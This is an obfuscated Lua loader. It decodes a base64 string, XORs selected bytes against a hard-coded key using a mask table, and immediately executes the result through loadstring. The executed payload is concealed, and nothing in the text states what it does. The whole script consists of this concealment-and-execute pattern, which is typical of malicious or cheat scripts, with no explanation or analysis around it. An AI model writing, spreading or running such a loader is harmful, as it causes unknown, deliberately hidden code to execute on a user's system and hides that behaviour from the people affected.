local bit=bit32 local c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"local d={}for i=1,#c do d[c:sub(i,i)]=i-1 end local k={43,42,3,201,67,211,224,131,126,225,42,153,9,113,37,150,33,194,245,43,34,246,213,136,56,96,38,7,98,51,204,14,248,203,235,53,122,26,132,141,82,170,186,39,219,61,39,177,123,137,21,131,7,166,186,53,159,80,29,92,120,109,28,84,176,7,49,2,92,20,135,165,242,242,227,2,115,158,113,33,103,103,216,186,82,70,79,151,83,249,218,177,219,94,195,135,124,107,27,115,48,242,164,168,156,27,103,142,79,253,255,71,227,29,100,56,32,148,233,208,156,44,227,22,122,185,205,42,93,52,173,23,28,153} local f={1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1} local b64="R0UwqCeglPEXJ0T+IetCL0CvkBFqgqH4rycjYsVH5CwJo58cDmr3t32Fh0CySU/EGad27GqJ1loyPIkveB5t8NELHmU0c8bNZZWLaRQ8EkIEH/f7IMMqJD+cu8K+LezjExwUHVydU8n4NHP9JJSdLo95S09m94cP8QLNJ1TVuEt/HYQ/bLAA" local raw="" for i=1,#b64-3,4 do local n=bit.bor(bit.lshift(d[b64:sub(i,i)],18),bit.lshift(d[b64:sub(i+1,i+1)],12),bit.lshift(d[b64:sub(i+2,i+2)],6),d[b64:sub(i+3,i+3)]or 0)raw=raw..string.char(bit.rshift(n,16),bit.rshift(n,8)%256,n%256)end local out,j={},1 for i=1,#f do if f[i]==1 then table.insert(out,string.char(bit.bxor(raw:byte(j),k[i])))j=j+1 else j=j+1 end end loadstring(table.concat(out))()